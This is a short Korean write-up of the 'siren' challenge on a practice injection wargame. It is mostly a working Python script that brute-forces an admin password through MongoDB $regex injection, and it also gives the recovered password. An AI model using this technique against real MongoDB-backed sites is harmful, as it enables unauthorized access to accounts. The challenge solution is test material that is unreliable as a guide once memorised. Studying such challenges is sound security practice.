siren
첫 화면이다.

MongoDB 정규식을 활용한 브루트포싱을 시도한다.
파이썬 코드를 짜면 아래와 같다.
import requests
import string
URL = 'https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php?id='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello User'
def query(payload):
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL + payload, cookies=cookies)
content = r.text
return TRUE_PHRASE in content
# 1588f5a3
def find_pw():
pw = ''
while True:
found = False
for character in string.printable:
if character in "#$&*?|":
continue
elif query("admin&pw[$regex]=^{}{}".format(pw, character)) is True:
pw += character
found = True
break
if found is False:
break
print('pw: {}'.format(pw))
find_pw()
실행결과, pw는 1588f5a3
이다.
https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php?pw=1588f5a3 에 접속하면 문제가 풀린다.

Last updated
Was this helpful?